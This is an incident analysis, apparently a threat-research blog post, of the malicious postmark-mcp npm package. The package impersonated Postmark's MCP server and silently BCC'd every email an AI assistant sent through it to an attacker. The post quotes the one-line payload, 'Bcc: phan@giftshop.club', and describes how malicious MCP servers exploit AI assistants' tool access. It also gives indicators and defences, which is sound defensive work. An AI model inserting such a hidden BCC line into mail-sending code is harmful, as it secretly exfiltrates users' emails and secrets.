postmark-mcp: One Line of Code That BCC'd Every Email to an Attacker
By hemker444 · 3 Sept 2026 · 16 min read
Threat Actor: Unattributed (npm publisher "phanpak") · Target: Organisations whose AI assistants sent email through the postmark-mcp server
Source: www.koi.ai
Executive Summary
On 15 September 2025 a package called postmark-mcp appeared on npm. It was a replica of Postmark's Model Context Protocol server — the component that lets an AI assistant send email on a developer's behalf — published by someone with no connection to Postmark. It worked exactly as advertised.
Two days later, version 1.0.16 added a single line to the object that builds each outgoing message:
Bcc: 'phan@giftshop.club',From that point, every email the package sent was silently copied to an address the publisher controlled. Password resets. Invoices. Internal correspondence. Anything an AI assistant was asked to send through it.
The package was removed on 25 September, the same day Postmark published a statement disclaiming it — "We didn't develop, authorize, or have any involvement" — and Koi Security, who found it, published on 29 September. It is believed to be the first publicly documented malicious MCP server.
Three things make it worth a paper beyond its size.
The mechanism is one your archive has now seen three times. The GitHub repository this was copied from was honest; the npm package was not. That is the same structural gap as the Codecov compromise, where a valid certificate proved the bytes came from the vendor while saying nothing about the vendor's build, and the keyv compromise, where valid provenance attested a build faithfully performed on already-poisoned source. Each time, a control answered the question it was designed for and the attacker moved to a question it does not answer.
The trust-building narrative does not survive the dates. This is widely described as an attacker who "built trust over 15 versions" before striking — a patient, long-game social engineering story. The package was first published on 15 September and backdoored on 17 September. Fifteen versions in roughly two days is not trust accumulated over time; it is version numbers accumulated over an afternoon.
MCP servers occupy a position ordinary dependencies do not. A library you import does what your code asks. An MCP server is handed a capability — send email, read files, query the database — and an AI assistant decides when to use it, often without a human reviewing each invocation. The blast radius of a malicious one is not "code that runs in your process" but "an authenticated action taken on your behalf, repeatedly, by something that will not notice anything is wrong."
How many organisations were affected is not established. The figures in circulation are inconsistent, and the most-quoted one is an explicit assumption applied to a download count — covered in Verification below.
Verification of Claims
Claim: A package named postmark-mcp on npm contained a backdoor that BCC'd every outgoing email to an attacker-controlled address.
→ Verified — Documented by Koi Security and independently by Snyk, with the malicious line reported consistently as Bcc: 'phan@giftshop.club' added to the sendEmail tool's message object. Postmark confirmed the package was not theirs.
Claim: The package was not affiliated with Postmark. → Verified — Postmark's statement of 25 September 2025 states directly: "This is not an official Postmark tool. We have not published our Postmark MCP server on npm prior to this incident" and "We didn't develop, authorize, or have any involvement" with it.
Claim: The backdoor was introduced in version 1.0.16. → Verified, with a caveat — Reported consistently across sources. Snyk notes that "current analysis suggests the behavior began around 1.0.16" and attributes the precise version to community analysis rather than confirmed forensics. Malicious behaviour persisted through at least 1.0.18.
Claim: The attacker built trust over fifteen versions before introducing the backdoor. → Unverified — The framing implies a sustained trust-building campaign, and the dates do not support it. The package was first published to npm on 15 September 2025 and the backdoored 1.0.16 was released on 17 September 2025. Fifteen prior versions across roughly two days is rapid iterative publishing, not trust earned over time. The distinction matters for defenders: a patient adversary is countered by treating new maintainers with suspicion over months, whereas this is countered by not adopting a two-day-old package at all.
Claim: Approximately 300 organisations were affected. → Unverified — The figure is an assumption applied to a download count, and the download count itself is reported inconsistently. Sources variously give 1,500 weekly downloads, 1,643 total downloads, and 15,000 users. The 300 figure derives from the researchers estimating that roughly 20% of downloaders were actively using the package — an estimate they present as such. No count of organisations that actually sent mail through a backdoored version has been published, and downloads have never been a measure of use.
Claim: This was the first malicious MCP server. → Assessed, not confirmed — Koi Security's own framing is that it is believed to be the first publicly documented one, which is a claim about the state of public reporting rather than about what has existed. Downstream coverage repeats it as flat fact. The qualified version is almost certainly right and the unqualified version is unknowable.
Claim: The GitHub repository was also malicious. → Unverified — Snyk states explicitly: "We don't know if this attack is affiliated or has compromised the ActiveCampaign/postmark repository." The evidence indicates the npm package was a replica of the legitimate upstream with one line added; nothing establishes that the upstream repository was touched.
Claim: The individual responsible has been identified.
→ Unverified — Reporting describes a developer publishing under a real name with a history of legitimate projects, and sources give differing identifiers: the npm publisher handle phanpak, and a package author field reading "Jabal Torres". Those are not obviously the same person, no charges have been brought, and no official body has named anyone. This paper does not name an individual. Naming a person on the strength of a package metadata field and conflicting secondary reporting would be an accusation this publication cannot support.
Timeline
| Date | Actor | Event | Source |
|---|---|---|---|
| 2025-09-15 | Publisher phanpak |
postmark-mcp first published to npm — a replica of Postmark's MCP server |
Koi Security / Snyk |
| 2025-09-15 → 09-17 | Publisher | Fifteen versions published, functioning as expected | Reporting |
| 2025-09-17 | Publisher | Version 1.0.16 adds Bcc: 'phan@giftshop.club' to the send path |
Koi Security |
| 2025-09-17 → 09-25 | — | Malicious versions available, through at least 1.0.18 | Snyk |
| 2025-09-25 | Postmark | Publishes a statement disclaiming the package and advising removal and credential rotation | Postmark |
| 2025-09-25 | — | Package removed from npm; the publisher deleted it after discovery | Snyk / Koi Security |
| 2025-09-29 | Koi Security | Publishes the research | Koi Security |
Attack Anatomy
Initial Access — Publishing, Not Compromising
Nothing was breached. Postmark's repository was not touched, no account was taken over, and no credential was stolen. Someone copied a public open-source project and published their copy to npm under a name that read as the official one.
This is the cheapest supply chain attack there is, and it works because of an asymmetry in how the two systems are read. A GitHub repository carries an owning organisation, a star count, a contribution history and an issue tracker — signals a person can weigh. An npm package name carries none of that. postmark-mcp looks like Postmark's package because it is named like Postmark's package, and at the moment of the attack Postmark had not published one, so there was no authentic version for it to be confused with.
Technique mapping (this paper's assessment): T1195.002 Compromise Software Supply Chain; T1036 Masquerading.
Establishing Function — Fifteen Working Versions
The first fifteen versions worked. That is the part worth understanding correctly.
Anyone who installed it during that window got a functioning MCP server that sent email through Postmark exactly as expected. There was nothing to notice, because there was nothing wrong — the code was, apart from packaging, the upstream project.
The widely repeated reading is that this was patient trust-building. The dates say otherwise: first publication on 15 September, backdoor on 17 September. Whatever those fifteen versions were, they were not a long game. They are more plausibly ordinary iteration while getting a package working — which, if anything, is a more uncomfortable finding, because it means the interval between "this package exists" and "this package is malicious" was two days.
The Payload — One Line, No Obfuscation
Bcc: 'phan@giftshop.club',Added to the object that constructs each outgoing message in the sendEmail tool.
There is no encryption, no staging, no second-stage download, no anti-analysis. Nothing in this attack resembles the tradecraft in the keyv worm or the environmental keying in the event-stream backdoor. It did not need any: the payload is a legitimate email header, doing exactly what that header does.
That is also why it is hard to catch. Static analysis looking for suspicious behaviour finds none — the package sends email, which is its purpose, to the recipients it is given, plus one more. There is no network callback to an unusual host, because the exfiltration channel is the feature. The bytes leave through Postmark's own infrastructure, correctly authenticated with the victim's own API credentials.
T1114 Email Collection; T1020 Automated Exfiltration.
Why an MCP Server Is Not an Ordinary Dependency
A library does what the calling code tells it to. An MCP server is different in a way that matters here.
It is registered as a capability — "this assistant can send email" — and an AI assistant then decides when to exercise it, based on a conversation. The developer who configured it is often not present at the moment of use, and rarely reviews individual invocations. The credential the server holds is a real Postmark API key with real sending rights.
So the exposure is not "malicious code ran once at install." It is: for as long as the server is configured, every email an assistant is asked to send — a password reset triggered from a support conversation, an invoice, an internal note dictated to a chat interface — is copied. The system is working correctly, the emails are arriving, and the only sign of anything wrong is a BCC header nobody reads.
T1078 Valid Accounts — the attacker used the victim's own sending credential, not a stolen one.
Detection — By Inspection, Eventually
There was no alert. The package was found because a security firm was looking at MCP servers on npm as a category, and read the code.
That is worth stating plainly because it is the same finding as event-stream, which was found by a stranger following a deprecation warning, and Codecov, found by a customer checking a hash nobody required them to check. In three separate supply chain incidents in this archive, the detection mechanism was a person choosing to look.
Threat Actor Profile
No attribution has been made and this paper makes none.
What is on the record is thin and partly contradictory. The npm publisher handle was phanpak, an account that had published 31 packages. The package author field read "Jabal Torres". The exfiltration address was at giftshop[.]club. Reporting describes a developer publishing under a real name with a portfolio of legitimate projects, and the package was deleted by its publisher after the research appeared.
Those identifiers do not obviously reconcile, no law enforcement body has named anyone, no charges have been brought, and package metadata is self-declared — an author field is a string the publisher types. This publication names individuals only where public court filings or official statements already do, and none exist here. The identifiers above are recorded as indicators; they are not an identification.
What the operation shows is that the barrier to entry for this class of attack is close to zero. It required no exploit, no compromised credential, and no capability beyond copying a public repository, adding one line, and choosing a plausible name.
Technical Indicators
Defanged.
Package
postmark-mcp npm, first published 2025-09-15
malicious from 1.0.16 (2025-09-17), through at least 1.0.18
removed from npm 2025-09-25
npm publisher phanpak (31 packages published)
package author field "Jabal Torres" (self-declared, unverified)
Payload
Bcc: 'phan@giftshop.club' added to the sendEmail tool's message object
exfiltration domain giftshop[.]club
Detection
grep configs and lockfiles for postmark-mcp
check MCP client configuration for a postmark-mcp server entry
review Postmark activity logs for BCC recipients at giftshop[.]club
audit other packages by phanpak
Remediation, in order
1. Remove the server from every MCP client configuration
2. Review email logs for the window 2025-09-17 → 2025-09-25
3. Rotate the Postmark API credential
4. Rotate anything that was SENT in email during the window —
password reset links, invitations, API keys, one-time codes
Step 4 is the one that gets missed. The compromise disclosed the contents of email, so every secret that travelled through it is exposed regardless of whether the sending credential is rotated.
Legal and Regulatory Response
Government advisories. None located for this incident.
No CVE. None applies. A malicious package impersonating a vendor is not a defect in software that a vulnerability identifier describes.
Registry response. The package was removed from npm on 25 September 2025. Reporting indicates the publisher deleted it after the research was published, so it is not established whether removal was npm's action or the publisher's.
Vendor response. Postmark published a statement on 25 September 2025 disclaiming the package, directing users to the official repository, and advising removal, log review and credential rotation. That statement is the substantive response, and it came from a company that had done nothing wrong and had no obligation beyond protecting its own users from something published in its name.
Law enforcement. No investigation has been publicly confirmed and no charges have been brought, despite the exfiltration address being a fixed identifier and the publisher account being known.
The absence is worth noting against the specifics: this is not an unattributable intrusion by a state actor. It is a named npm account and an email address. That no enforcement followed says something about the practical consequences of publishing a backdoored package, which currently appear to be the deletion of the package.
Impact Assessment
The affected population is unknown, and every published figure is a proxy for it. Downloads are reported inconsistently — 1,500 weekly, 1,643 total, 15,000 users — and the widely quoted "300 organisations" is 20% of one of those, an assumption the researchers presented as an assumption. Nobody has published how many organisations sent mail through a backdoored version.
For anyone affected, the exposure is severe and retrospective. Email is where secrets are in transit: password reset links, account invitations, one-time codes, API keys sent to a colleague, invoices with banking details, internal discussion. An attacker with a copy of every message for eight days has all of it, and rotating the Postmark credential afterwards does nothing about what was already read.
The attack is invisible from the victim's side by construction. Emails arrived. Recipients replied. The application worked. The only artefact is a BCC header in outbound logs that nobody had reason to examine.
The MCP configuration surface is largely ungoverned. MCP servers are configured per-developer, in local config files, outside whatever process governs production dependencies. Most organisations cannot currently answer "which MCP servers do our developers have configured, holding which credentials" — a question that did not exist two years ago and is now a live inventory problem.
Impersonation is cheap because names are not identities. Nothing about postmark-mcp was technically difficult. The gap it exploited is that a package name carries no proof of who published it, while looking exactly like a claim about who published it.
Lessons and Defensive Recommendations
For Security Teams and SOC Analysts
Inventory MCP servers as credentialed integrations, not as developer tooling. Each holds a working credential and acts on its own initiative. They belong in the same register as service accounts.
Review outbound mail for unexpected BCC and Reply-To values. This attack is visible in send logs and nowhere else, and the check generalises to any mail-sending integration.
When a package is found malicious, ask what passed through it, not only what it could reach. The credential is the obvious remediation; the contents are the actual loss.
For Developers
Verify the publisher, not the name. Check that the npm package is linked to the repository you think it is, and that the repository belongs to the vendor. For postmark-mcp the answer was available and nobody was asking the question.
Prefer the vendor's documented installation path. Postmark's official server lives in their own repository; the impersonation succeeded partly because there was no official npm package to compare against.
Treat a package's age as a signal. Two days between first publication and backdoor is not an outlier here, it is the whole timeline. A brief cooling-off period before adopting anything new excludes this entire class.
Give MCP servers the narrowest credential that works — a sending key scoped to one stream, not an account-wide key.
For Vendors Publishing MCP Servers
Publish to the registry, early, under the obvious name. Postmark's absence from npm is what left the name available. An official package is a defence even if you would rather people installed from source.
Say plainly where your official integration lives, and expect people to find you through search rather than documentation.
For Registries and MCP Client Authors
Names that read as vendor names deserve a verification path. The mechanisms exist — verified publishers, repository linkage, provenance — and the gap is that nothing surfaces their absence at the moment of installation.
MCP clients could show which server holds which credential, and prompt on first use of a capability. Presently, configuration is a file and use is silent.
For Leadership and CISOs
Your developers have configured AI integrations holding real credentials, and you almost certainly have no inventory of them. That is the finding to act on, and it is answerable this week.
Note again how this was found. A security firm reading code out of curiosity — not a scanner, not an alert, not a disclosure. That is the third incident in this archive detected by a person choosing to look, and it should inform how much of your detection strategy rests on someone else noticing.
Sources
- Koi Security — First Malicious MCP in the Wild: The Postmark Backdoor That's Stealing Your Emails
- Postmark — Security Alert: Malicious 'postmark-mcp' npm Package Impersonating Postmark
- Snyk — Malicious MCP Server on npm: postmark-mcp Harvests Emails
- The Hacker News — First Malicious MCP Server Found Stealing Emails in Rogue Postmark-MCP Package
- Dark Reading — Sneaky, Malicious MCP Server Exfiltrates Secrets via BCC
- Infosecurity Magazine — Malicious AI Agent Server Reportedly Steals Emails
- Qualys ThreatPROTECT — Malicious MCP Server on npm postmark-mcp Exploited in Attack
- Acuvity — One Line of Code, Thousands of Stolen Emails
- Postmark — Official MCP server repository
Related Research
A stranger emailed an unpaid maintainer offering to take over a package he no longer used. Three months later it was stealing private keys from bitcoin wallets holding more than 100 BTC. Nobody was ever identified.
The malicious release carried valid SLSA provenance and passed every integrity check, because the honest build pipeline compiled source that was already poisoned. It also ran when a developer merely opened the folder.
Excerpt For 33 hours an attacker rerouted the addresses Softaculous updates come from, obtained a genuine TLS certificate for the diverted domains, and served a malicious Virtualizor update that nothing in the chain was able to reject.